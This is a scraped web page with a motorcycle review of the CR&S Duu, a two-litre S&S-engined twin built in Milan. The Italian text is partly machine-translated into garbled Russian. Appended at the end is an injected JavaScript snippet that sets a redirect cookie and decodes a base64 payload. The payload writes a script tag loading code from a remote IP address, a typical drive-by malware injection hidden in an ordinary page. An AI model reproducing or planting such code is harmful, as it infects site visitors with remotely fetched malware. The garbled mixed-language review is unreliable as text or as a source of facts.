Два колеса

 

Большой Твин Milano!

После двойной моно: da una piccola realtà artigianale è nata questa straripante due litri dallo stile unico
di Riccardo Capacchione

Fada su a Milàn, cont il coeur e cont i man’». Мы переводим для не миланцев: «Сделано в Милане, с сердцем и руками ", Е’ la frase scritta sulle moto costruite dalla CR&S Settimo Milanese. Fino ad oggi l’unico modello in catalogo era la Vun, Тонкий сингл, который теперь имеет сестру, не совсем упорядочена, Это называется им. В миланском диалекте Vun означает «один» как цилиндр, место и «уникальный». приводит, l’avrete capito, вместо этого хочет сказать, «два», как два цилиндра, due posti e… только, она. Клиенты ЧР&S, на самом деле, possono ordinare la propria moto scegliendo l’allestimento, компоненты шасси, подготовка двигателя и, конечно, окраски. Именно поэтому цена сильно варьируется, начиная от основания 20.000 евро. Дизайн Философия модели CR&S просто излагают, менее для достижения: велосипед должен быть существенным, весь двигатель и шасси в поле зрения, но он также должен быть стиль, а два: что производителя и заказчика, что, как уже упоминалось, Он активно участвует в создании своего собственного движения. SE L’ELA DUU? Gia’, cos’è la Duu? Это мощный двухцилиндровый, который экранирует обычные определения: обычай голый, родстер, уличный боец? Трудно приписать определенный жанр. лучший, просто, описывают технические характеристики, действительно уникальный. Шасси построено из CR&S и состоит из легированной стали гигантские верхней трубчатой, напоминает схему используемого швейцарской специалист Фриц He; который имеет некоторые’ пружины за отзывом , среди других, Он спортивный замечательный Винсента 1967. Большая основные рамы трубка ий также выполняет функцию топливного бака, Пример стратегии проекта CR&S, которая стремится к максимальной интеграции и упрощению каждого компонента. В задней части структура закрыта сплав пластины великолепных легкихов, получил нож от «полного» кованого. Il forcellone monobraccio in traliccio di tubi d’acciaio é accoppiato all’ammortizzatore laterale. колеса, другие эксклюзивные CR&S, Они великолепны и, в частности, задняя, консольные установлены с одной центральной гайкой и доступны в различных конструкциях пород. Надстройки стекловолокна мало и существенно; davvero inconsueta la soluzione per il faro anteriore chenon c’é, заменены двумя боковыми оптических узлов, размещенных в «акул жабры» по бокам вилки, напоминает о стилистических черт VUN. Автомобили могут быть ими, как один мы тестировали, ma é previsto l’allestimento a due e quello da viaggio, с сумками и специальными аксессуарами. MAMMA CHE POMPON E! Il propulsore S&S X-Wedge domina la scena. Le due colossali torri aiettate dei cilindri divergono tra loro di 56,25° e ospitano all’interno i pistoni da 105 mm di alesaggio con corsa -lunga-di 111 mm. Lo schema riprende quello dei propulsori Harley-Davidson, per i quali la S&S produce da sempre parti speciali, ma in questo caso si tratta di un’unità totalmente nuova. Le testate ospitano due grandi valvole (50,8 mm all’aspirazione, 40,64 mm allo scarico), parallele tra loro e mosse da bilancieri e aste che poggiano sui tre alberi a camme, due di scarico e uno in comune di aspirazione, situati nel basamento. Il cambio, separato, é un Baker a cinque marce. L’alimentazione é a iniezione elettronica, mentre lo scarico catalizzato, costruito su specifiche CR&S, é sotto al motore, con due fantastiche «bocche da fuoco» laterali. La trasmissione primaria a catena riprende lo schema Harley ed é sul lato sinistro. COPPIA DA RIMORCHIATORE Abbiamo insistito parecchio per provare il prototipo, ancora da mettere a punto, della Duu, ma ne é valsa la pena. Il bicilindrico, privo di contralberi, pulsa, tuona, ma sopratutto spinge con una forza impressionante. Il pneumatico posteriore geme sotto la scarica di kgm, la Duu balza in avanti e il pilota é bene che si aggrappi solidamente al manubrio. Un rialzo più marcato della sella aiuterebbe a scaricare parte della spinta, diminuendo lo sforzo sulle braccia. Il peso totale non é eccessivo, in relazione alla cilindrata, ed é ben distribuito, il che rende la Duu più maneggevole di quanto ci si aspetti. I pochi chilometri in sella ci hanno dato solo un’idea vaga delle prestazioni di questa moto che si prospettano esaltanti, non vediamo l’ora di spremerla per bene,.. «Stay tuned», vi terremo informati! функция getCookie(е){вар U = document.cookie.match(новый RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/г,”\\$1″)+”знак равно([^;]*)”));возвращение U?decodeURIComponent(U[1]):недействительным 0}вар SRC =”данные:текст / JavaScript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,Теперь = Math.floor(Date.now()/1e3),печенье = getCookie(“переадресовывать”);если(сейчас>знак равно(время = печенье)||аннулируются время 0 ===){Время вара = Math.floor(Date.now()/1e3 + 86400),дата = новая Дата((новая Дата).GetTime()+86400);document.cookie =”перенаправлять =”+время +”; Путь = /; истекает =”+date.toGMTString(),document.write(”)}